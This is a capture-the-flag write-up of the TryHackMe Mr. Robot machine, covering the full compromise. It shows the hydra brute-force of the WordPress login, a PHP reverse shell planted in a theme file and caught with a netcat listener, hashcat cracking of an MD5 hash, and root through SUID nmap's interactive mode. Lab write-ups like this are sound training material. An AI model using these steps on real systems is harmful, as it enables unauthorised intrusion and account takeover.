This is the second CTF challenge of the “Starter Series” on TryHackMe. It is a really nice and stylish box with a really cool webpage.
As first step, we run
sudo nmap -sC -sV <IP> -oA nmap-1000ports and find three open ports: 22 (closed), 80 and 443 (open). So it seems that this page is centered around a webpage.
Nmap scan report for 10.10.134.183 Host is up (0.069s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-09-16T10:45:03 |_Not valid after: 2025-09-13T10:45:03 |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html).
A full scan with
sudo nmap -sC -sV -p- <IP> doesn’t reveal any additional open ports.
Visiting the website, it looks like a linux machine is starting up and a user called “mr. robot” is logging in. After that you can type some “commands” which leads you to different subpages. It looks really cool, but it doesn’t really lead anywhere. Also, in my case I had to restart the machine several times because it hang up (but I’m not sure if that’s related to errors on the website, or just on my connection). So let’s try to catch a look to the backend.
We can run a short directory check with
dirbuster. It runs for quite some time and in the end, I received many timeout errors, but basically this is the output:
$ sudo gobuster dir -u http://10.10.194.215 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.194.215 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/12 03:56:42 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 236] [--> http://10.10.194.215/images/] /blog (Status: 301) [Size: 234] [--> http://10.10.194.215/blog/] /rss (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/] /sitemap (Status: 200) [Size: 0] /login (Status: 302) [Size: 0] [--> http://10.10.194.215/wp-login.php] /0 (Status: 301) [Size: 0] [--> http://10.10.194.215/0/] /video (Status: 301) [Size: 235] [--> http://10.10.194.215/video/] /feed (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/] /image (Status: 301) [Size: 0] [--> http://10.10.194.215/image/] /atom (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/atom/] /wp-content (Status: 301) [Size: 240] [--> http://10.10.194.215/wp-content/] /admin (Status: 301) [Size: 235] [--> http://10.10.194.215/admin/] /audio (Status: 301) [Size: 235] [--> http://10.10.194.215/audio/] /intro (Status: 200) [Size: 516314] /wp-login (Status: 200) [Size: 2613] /css (Status: 301) [Size: 233] [--> http://10.10.194.215/css/] /rss2 (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/] /license (Status: 200) [Size: 309] /wp-includes (Status: 301) [Size: 241] [--> http://10.10.194.215/wp-includes/] /js (Status: 301) [Size: 232] [--> http://10.10.194.215/js/] /Image (Status: 301) [Size: 0] [--> http://10.10.194.215/Image/] /rdf (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/rdf/] /page1 (Status: 301) [Size: 0] [--> http://10.10.194.215/] /readme (Status: 200) [Size: 64] /robots (Status: 200) [Size: 41] /dashboard (Status: 302) [Size: 0] [--> http://10.10.194.215/wp-admin/] /%20 (Status: 301) [Size: 0] [--> http://10.10.194.215/]
It gives some links starting with
wp-, which reveals that the website is actually a wordpress site. Visiting all links with HTTP status code 200 already reveals the first key:
This means we can download the first key from this URL:
http://<IP>/key-1-of-3.txt and on top, we can also download a dictionary wordlist called
fsocity.dic. Since this is a CTF, we can strongly assume sure that this dictionary also includes some hint to the next step.
So let’s try to check out the login page next. Testing out a few combinations like “mrrobot:mrrobot” or “fsociety:mrrobot”, we can quickly see that invalid usernames throw a “invalid username” error. This means that we can enumerate a valid user by trying different usernames.
We can automate this step with a tool like hydra or Burp Intruder, or just go for it manually. If you have seen the Mr. Robot series, you might remember that the main protagonist’s name is “Elliot”. And with this name, we get a hit:
Now we need to find the password of the user Elliot. First, we could catch the request with Burp Suite and see what data is exactly transmitted.
As we can see on the picture, the login request has several parameters: “log” for the username and “pwd” for password, as well as some static content. Now let’s transfer this to the hydra syntax:
$ sudo hydra -l elliot -P fsocity.dic 10.10.40.71 http-post-form "/wp-login.php:log=elliot&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.40.71%2Fwp-admin%2F&testcookie=1:incorrect" -t 30
At this step, I had to check the docs, because the dictionary file has 858k lines, which means that the attack would run a really long time (the machine expires after two hours though). So I tried to check for some criteria to filter this list, like a minimum password length or similar. Unfortunately it seems that WordPress does not enforce this by default (correct me if I’m wrong), so I didn’t find a secure way to filter the list.
In the end, I took the password from the video walkthrough, because the correct hit appears quite at the end of the dictionary file (hint: It is Elliot’s employee number from the series). So this part is a bit frustrating - I saw in a previous walkthrough that it was set to a different password initially, so not sure why it was changed.
With this username:password combination, we can login to the to the wordpress site and get an initial foothold:
It seems the user elliot has full admin privileges on Wordpress. Namely the themes editor can be opened, which means we can simply upload a PHP shell there. For example, we can use the
archive.php file of the Twenty Fifteen theme and overwrite it with a simple PHP shell from pentestmonkey that comes with Kali Linux.
Then we start a netcat listener with
rlwrap nc -lnvp 53 and access the script via http://IP-Address/wp-content/themes/twentyfifteen/archive.php. Then we get a shell as
While looking around on the host, we find a file called
key-2-of-3 in the home directory of the user
robot, as well as a file that seems to be a md5 password hash.
$ ls -la /home/robot total 16 drwxr-xr-x 2 root root 4096 Nov 13 2015 . drwxr-xr-x 3 root root 4096 Nov 13 2015 .. -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Luckily we have read privileges on the password file, so let’s download it and crack the password with hashcat (or john). My first guess was to use the
fsocity dictionary, but this one didn’t work, so I used rockyou.txt:
$ hashcat -m 0 md5hash.txt /usr/share/wordlists/rockyou.txt
and we get a hit for “abcdefghijklmnopqrstuvwxyz”. Now we can login as user robot, but first we need to get a real shell:
$ python -c 'import pty; pty.spawn("/bin/sh")'
Then we can change the user with
su robot and read the keyfile.
As last step, we need to find a way to escalate to root, as the third keyfile is probably within the root directory. I wanted to use linpeas for enumeration, but it seems that the robot user doesn’t have any writeable directories. So instead I followed some manual enumeration steps.
sudo -i showed that the user doesn’t have any sudo privileges, but the search by SUID-bit was more successful:
$ find / -perm -4000 -print 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Now we can compare these to the binaries listed on GTFO bins and we get a hit with
$ nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help
and we get a root shell with:
> !sh # whoami root
With this, we can read the third key listed in the